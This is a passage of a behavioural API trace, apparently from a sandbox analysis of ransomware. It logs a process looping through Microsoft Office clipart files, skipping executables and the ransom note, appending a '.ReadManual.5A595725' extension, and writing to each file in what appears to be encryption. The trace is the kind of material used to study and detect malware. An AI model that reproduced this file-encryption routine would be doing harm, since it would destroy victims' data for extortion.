[0273.240] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.240] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.240] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" [0273.240] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.ReadManual.5A595725" [0273.240] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.ReadManual.5A595725") returned 87 [0273.240] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39390906679) returned 1 [0273.240] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp")) returned 0x20 [0273.241] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.242] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32400) returned 1 [0273.242] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e90, lpName=0x0) returned 0x184 [0273.242] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.242] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.242] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.244] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.244] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e90) returned 0x2f0000 [0273.245] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.245] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39391349867) returned 1 [0273.245] CloseHandle (hObject=0x184) returned 1 [0273.245] SetSecurityInfo () returned 0x57 [0273.245] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.245] CloseHandle (hObject=0x194) returned 1 [0273.245] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1 [0273.245] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01046J.JPG" | out: lpString1="PH01046J.JPG") returned="PH01046J.JPG" [0273.245] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.245] StrStrIW (lpFirst="PH01046J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.245] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.245] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.245] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.245] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.245] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.245] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.245] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.245] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.245] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.245] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.245] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.245] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.245] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.245] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.246] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" [0273.246] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.ReadManual.5A595725" [0273.246] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.ReadManual.5A595725") returned 87 [0273.246] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39391439382) returned 1 [0273.246] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg")) returned 0x20 [0273.247] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.247] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=135611) returned 1 [0273.247] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211bb, lpName=0x0) returned 0x184 [0273.247] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.248] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.248] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.258] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.258] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x211bb) returned 0x1de0000 [0273.268] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0273.269] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39393761623) returned 1 [0273.269] CloseHandle (hObject=0x184) returned 1 [0273.269] SetSecurityInfo () returned 0x57 [0273.269] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.269] CloseHandle (hObject=0x194) returned 1 [0273.269] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1 [0273.269] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01179J.JPG" | out: lpString1="PH01179J.JPG") returned="PH01179J.JPG" [0273.269] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.269] StrStrIW (lpFirst="PH01179J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.269] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.269] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.269] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.269] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.269] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.269] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.269] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.269] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.270] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.270] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.270] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.270] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.270] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.270] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.270] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" [0273.270] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.ReadManual.5A595725" [0273.270] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.ReadManual.5A595725") returned 87 [0273.270] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39393856298) returned 1 [0273.270] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg")) returned 0x20 [0273.270] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.271] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=41474) returned 1 [0273.271] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa202, lpName=0x0) returned 0x184 [0273.271] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.272] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.272] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.274] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.274] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa202) returned 0x2f0000 [0273.275] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.275] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39394387504) returned 1 [0273.275] CloseHandle (hObject=0x184) returned 1 [0273.275] SetSecurityInfo () returned 0x57 [0273.275] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.275] CloseHandle (hObject=0x194) returned 1 [0273.275] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1 [0273.275] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01213K.JPG" | out: lpString1="PH01213K.JPG") returned="PH01213K.JPG" [0273.276] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="RecoveryManual.html") returned -1 [0273.276] StrStrIW (lpFirst="PH01213K.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.276] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.276] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.276] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.276] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.276] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.276] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.276] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.276] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.276] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.276] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.276] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.276] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.276] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.276] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.276] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" [0273.276] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.ReadManual.5A595725" [0273.276] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.ReadManual.5A595725") returned 87 [0273.276] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39394479720) returned 1 [0273.276] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg")) returned 0x20 [0273.276] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.277] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6334) returned 1 [0273.277] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18be, lpName=0x0) returned 0x184 [0273.277] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.278] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.278] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.280] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.281] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18be) returned 0x2f0000 [0273.281] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.281] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39394958917) returned 1 [0273.281] CloseHandle (hObject=0x184) returned 1 [0273.281] SetSecurityInfo () returned 0x57 [0273.281] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.281] CloseHandle (hObject=0x194) returned 1 [0273.281] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1 [0273.281] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01221K.JPG" | out: lpString1="PH01221K.JPG") returned="PH01221K.JPG" [0273.281] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="RecoveryManual.html") returned -1 [0273.281] StrStrIW (lpFirst="PH01221K.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.281] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.281] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.281] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.281] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.281] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.281] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.281] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.281] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.281] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.282] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.282] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.282] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.282] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.282] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.282] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" [0273.282] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.ReadManual.5A595725" [0273.282] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.ReadManual.5A595725") returned 87 [0273.282] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39395052092) returned 1 [0273.282] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg")) returned 0x20 [0273.282] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.282] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7316) returned 1 [0273.282] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c94, lpName=0x0) returned 0x184 [0273.282] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.283] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.283] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.285] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.285] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c94) returned 0x2f0000 [0273.285] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.285] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39395413132) returned 1 [0273.285] CloseHandle (hObject=0x184) returned 1 [0273.285] SetSecurityInfo () returned 0x57 [0273.286] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.286] CloseHandle (hObject=0x194) returned 1 [0273.286] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1 [0273.286] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01235U.BMP" | out: lpString1="PH01235U.BMP") returned="PH01235U.BMP" [0273.286] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.286] StrStrIW (lpFirst="PH01235U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.286] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.286] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.286] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.286] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" [0273.286] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.ReadManual.5A595725" [0273.286] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.ReadManual.5A595725") returned 87 [0273.286] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39395502634) 